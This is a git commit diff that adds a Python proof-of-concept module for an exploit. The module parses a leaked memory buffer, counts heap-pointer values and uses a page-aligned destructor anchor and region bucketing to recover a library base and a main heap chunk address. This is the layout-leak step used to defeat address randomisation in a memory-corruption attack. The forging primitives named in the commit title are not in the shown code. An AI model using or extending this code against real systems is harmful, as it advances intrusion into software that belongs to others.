feat(poc): forge primitives and leak parser with alignment-gated anchor selection
This commit is contained in:
+69
@@ -0,0 +1,69 @@
|
||||
import struct
|
||||
from collections import Counter
|
||||
|
||||
|
||||
class LeakError(Exception):
|
||||
pass
|
||||
|
||||
|
||||
def qwords(buf, ptr_min, ptr_max):
|
||||
counts = Counter()
|
||||
for off in range(0, len(buf) - 7, 8):
|
||||
q = struct.unpack_from("<Q", buf, off)[0]
|
||||
if ptr_min <= q <= ptr_max:
|
||||
counts[q] += 1
|
||||
return counts
|
||||
|
||||
|
||||
def anchors(counts, prof, quorum):
|
||||
out = []
|
||||
for q, c in counts.items():
|
||||
if c < quorum:
|
||||
continue
|
||||
base = q - prof["dtor_offset"]
|
||||
if base <= 0 or base % 0x1000:
|
||||
continue
|
||||
out.append((q, c, base))
|
||||
out.sort(key=lambda t: (-t[1], t[0]))
|
||||
return out
|
||||
|
||||
|
||||
def classify(buf, prof, quorum=64):
|
||||
counts = qwords(buf, prof["ptr_min"], prof["ptr_max"])
|
||||
if not counts:
|
||||
raise LeakError("no heap pointers in leak window")
|
||||
cands = anchors(counts, prof, quorum)
|
||||
if not cands:
|
||||
raise LeakError("no page-aligned destructor anchor (quorum=%d)" % quorum)
|
||||
zdtor, n_dtor, lib = cands[0]
|
||||
|
||||
buckets = Counter()
|
||||
for q, c in counts.items():
|
||||
buckets[q & ~0x1FFFFF] += c
|
||||
lib_bucket = zdtor & ~0x1FFFFF
|
||||
id_bucket = buckets.most_common(1)[0][0]
|
||||
|
||||
main_cands = []
|
||||
for b, c in buckets.most_common():
|
||||
if b in (lib_bucket, id_bucket):
|
||||
continue
|
||||
delta = lib - b
|
||||
if not (prof["delta_min"] <= delta <= prof["delta_max"]):
|
||||
continue
|
||||
main_cands.append((b, c))
|
||||
if not main_cands:
|
||||
raise LeakError("no main-chunk candidate with plausible delta")
|
||||
main_cands.sort(key=lambda bc: (abs(bc[1] - prof["main_bucket_count"]), bc[1]))
|
||||
main, n_main = main_cands[0]
|
||||
|
||||
return {
|
||||
"decoded": len(buf),
|
||||
"zdtor": zdtor,
|
||||
"dtor_count": n_dtor,
|
||||
"lib": lib,
|
||||
"main": main,
|
||||
"main_bucket_count": n_main,
|
||||
"delta": lib - main,
|
||||
"buckets": [(b, c) for b, c in buckets.most_common(6)],
|
||||
"main_candidates": [b for b, _ in main_cands[:3]],
|
||||
}
|
||||
Reference in New Issue
Block a user